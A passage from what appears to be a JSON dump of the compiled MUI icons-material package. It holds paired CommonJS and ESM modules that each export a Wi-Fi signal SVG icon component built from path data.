    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M21.18 11.8 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l2.82 2.82C5.17 9.45 8.41 8 12 8s6.83 1.45 9.18 3.8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.18 11.8C18.83 9.45 15.59 8 12 8s-6.83 1.45-9.18 3.8L12 21v-9h8.99zM19.59 14l-2.09 2.09L15.41 14 14 15.41l2.09 2.09L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}, \"1\")], 'SignalWifiConnectedNoInternet3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M21.18 11.8 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l2.82 2.82C5.17 9.45 8.41 8 12 8s6.83 1.45 9.18 3.8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.18 11.8C18.83 9.45 15.59 8 12 8s-6.83 1.45-9.18 3.8L12 21v-9h8.99zM19.59 14l-2.09 2.09L15.41 14 14 15.41l2.09 2.09L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}, \"1\")], 'SignalWifiConnectedNoInternet3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09L15.41 14 14 15.41l2.09 2.09L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09L15.41 14 14 15.41l2.09 2.09L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.21 8.24C20.22 5.6 16.3 4 12 4S3.78 5.6.79 8.24C.35 8.63.32 9.3.73 9.71l10.56 10.58c.19.19.45.29.7.29V14c0-1.1.9-2 2-2h6.99l2.29-2.29c.41-.41.38-1.08-.06-1.47\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.3 14.71a.996.996 0 0 0-1.41 0l-1.39 1.38-1.39-1.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.39 1.39-1.39 1.39c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.39-1.38 1.39 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.38-1.39 1.38-1.39c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'SignalWifiConnectedNoInternet4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.21 8.24C20.22 5.6 16.3 4 12 4S3.78 5.6.79 8.24C.35 8.63.32 9.3.73 9.71l10.56 10.58c.19.19.45.29.7.29V14c0-1.1.9-2 2-2h6.99l2.29-2.29c.41-.41.38-1.08-.06-1.47\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.3 14.71a.996.996 0 0 0-1.41 0l-1.39 1.38-1.39-1.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.39 1.39-1.39 1.39c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.39-1.38 1.39 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.38-1.39 1.38-1.39c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'SignalWifiConnectedNoInternet4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiConnectedNoInternet4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98L12 21v-9h8.99zM19.59 14l-2.09 2.09-.3-.3L15.41 14 14 15.41l1.79 1.79.3.3L14 19.59 15.41 21l2.09-2.08L19.59 21 21 19.59l-2.08-2.09L21 15.41z\"\n}), 'SignalWifiConnectedNoInternet4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.5 0-2.89.19-4.15.48L18.18 13.8zm-6.6 8.22L3.27 1.44 2 2.72l2.05 2.06C1.91 5.76.59 6.82.36 7l11.63 14.49.01.01.01-.01 3.9-4.86 3.32 3.32 1.27-1.27z\"\n}), 'SignalWifiOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.5 0-2.89.19-4.15.48L18.18 13.8zm-6.6 8.22L3.27 1.44 2 2.72l2.05 2.06C1.91 5.76.59 6.82.36 7l11.63 14.49.01.01.01-.01 3.9-4.86 3.32 3.32 1.27-1.27z\"\n}), 'SignalWifiOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM4.12 2.01a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.35 1.35C1.91 5.76.59 6.82.36 7l10.08 12.56c.8 1 2.32 1 3.12 0l2.35-2.93 2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'SignalWifiOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM4.12 2.01a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.35 1.35C1.91 5.76.59 6.82.36 7l10.08 12.56c.8 1 2.32 1 3.12 0l2.35-2.93 2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'SignalWifiOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.64 7c-.45-.34-4.93-4-11.64-4-1.32 0-2.55.14-3.69.38L18.43 13.5zM3.41 1.31 2 2.72l2.05 2.05C1.91 5.76.59 6.82.36 7L12 21.5l3.91-4.87 3.32 3.32 1.41-1.41z\"\n}), 'SignalWifiOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar1BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M17.65 15.34 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l6.35 6.36C7.8 13.89 9.79 13 12 13s4.2.89 5.65 2.34\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 15.34C16.2 13.89 14.21 13 12 13s-4.2.89-5.65 2.34L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar1BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M17.65 15.34 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l6.35 6.36C7.8 13.89 9.79 13 12 13s4.2.89 5.65 2.34\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 15.34C16.2 13.89 14.21 13 12 13s-4.2.89-5.65 2.34L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar2BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M19.77 13.22 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l4.23 4.24C6.22 11.23 8.97 10 12 10s5.78 1.23 7.77 3.22\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.77 13.22C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.77 3.22L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar2BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M19.77 13.22 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l4.23 4.24C6.22 11.23 8.97 10 12 10s5.78 1.23 7.77 3.22\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.77 13.22C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.77 3.22L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar3BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M21.18 11.8 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l2.82 2.82C5.17 9.45 8.41 8 12 8s6.83 1.45 9.18 3.8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.18 11.8C18.83 9.45 15.59 8 12 8s-6.83 1.45-9.18 3.8L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar3BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M21.18 11.8 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l2.82 2.82C5.17 9.45 8.41 8 12 8s6.83 1.45 9.18 3.8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.18 11.8C18.83 9.45 15.59 8 12 8s-6.83 1.45-9.18 3.8L12 21z\"\n}, \"1\")], 'SignalWifiStatusbar3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4\"\n}), 'SignalWifiStatusbar4BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4\"\n}), 'SignalWifiStatusbar4BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4\"\n}), 'SignalWifiStatusbar4BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignalWifiStatusbar4BarTwoTone.js",
